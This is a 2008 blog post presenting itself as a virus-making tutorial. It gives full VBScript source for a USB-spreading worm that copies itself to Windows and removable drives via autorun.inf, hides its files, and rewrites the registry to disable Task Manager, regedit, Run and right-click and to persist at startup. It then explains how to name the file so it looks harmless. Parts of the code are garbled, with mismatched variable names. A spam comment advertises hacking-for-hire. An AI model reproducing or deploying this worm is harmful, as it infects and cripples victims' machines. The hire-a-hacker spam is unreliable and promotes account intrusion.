Saturday, December 27, 2008

Make Virus Is Easy

Few Virus Tutorial.

'//-- Start of the code, set to be left when the error occurred and then continue the virus - / /
on error resume next

Dim'//-- words following - / /
rekur dim, windowpath, flashdrive, fs, mf, content, TF, bat, nt, check, sd

'//-- Set a text that will be made for Autorun Setup Information - / /
content = "[autorun]" & vbCrLf & "shellexecute = wscript.exe k4l0n6.dll.vbs"
set fs = createobject ( "Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbCrLf
loop
do

Copy'//-- themselves to be the master file in the Windows path (example: C: \ Windows)
Set windowpath = fs.getspecialfolder (0)
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (windowpath & "\ batch-k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 39
'//-- Create Atorun.inf virus to run automatically each flash disc tercolok - / /
'Spread to every drive bertype 1 and 2 (removable), including floppy disks

for each flashdrive in fs.drives
Check'//-- Drive - / /
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

'//-- Create Infector If Drivetypr 1 or 2. Or A: \ - / /
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 39

'//-- Create Atorun.inf the text before it is prepared (Auto Setup Information )--//
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ autorun.inf", 2, true)
tf.write contents
tf.close
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 39
end if
next

Manipulation'//-- Registry - / /

set bat = createobject ( "WScript.Shell")

'//-- Manip - Title Change Internet Explorer into the bat vs ZAY - / /
kalong.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Internet Explorer \ Main \ Window Title", "THE bat vs ZAY"

'//-- Manip - Set that does not show hidden files in Explorer - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ Advanced \ Hidden", "0", "REG_DWORD"

'//-- Manip - Remove the Find menu, Folder Options, Run, and block regedit and Task Manager - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr", "1", "REG_DWORD"

'//-- Manip - Disable right-click - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoViewContextMenu", "1", "REG_DWORD"

'//-- Manip - Munculkan Message Every Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon \ LegalNoticeCaption", "Worm bat. Rangga from Variant-Zay, do not panic all data are safe."

'//-- Manip - On the Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Systemdir", windowpath & "\ batch-k4l0n6.dll.vbs"

'//-- Manip - Change RegisteredOwner and Organization - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOwner", "bat"

Nah'//-- under this code if I do not, please explain to Aat_S Mas - / /
if check <> 1 then
Wscript.sleep 200,000
end if
loop while check <> 1
set sd = createobject ( "Wscript.shell")
sd.run windowpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
'End of Code


Save code in Notepad with the FILE> SAVE. Then in the save as type select "All Files (*.*). Save with the name: k4l0n6.dll.vbs. Actually I need a *. dll is also nothing but a business that does not suspicious aja.

He .. he ... Worm Virus is not pure thoughts of my own code because it mimics the virus Rangga-Zay

source: http://www.yogyafree.net/forum2/viewtopic.php?t=5787
http://davidliauw.blogspot.com/2007/06/make-virus-is-easy.html

1 comment:

  1. Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : cybergoldenhacker at gmail dot com

    ReplyDelete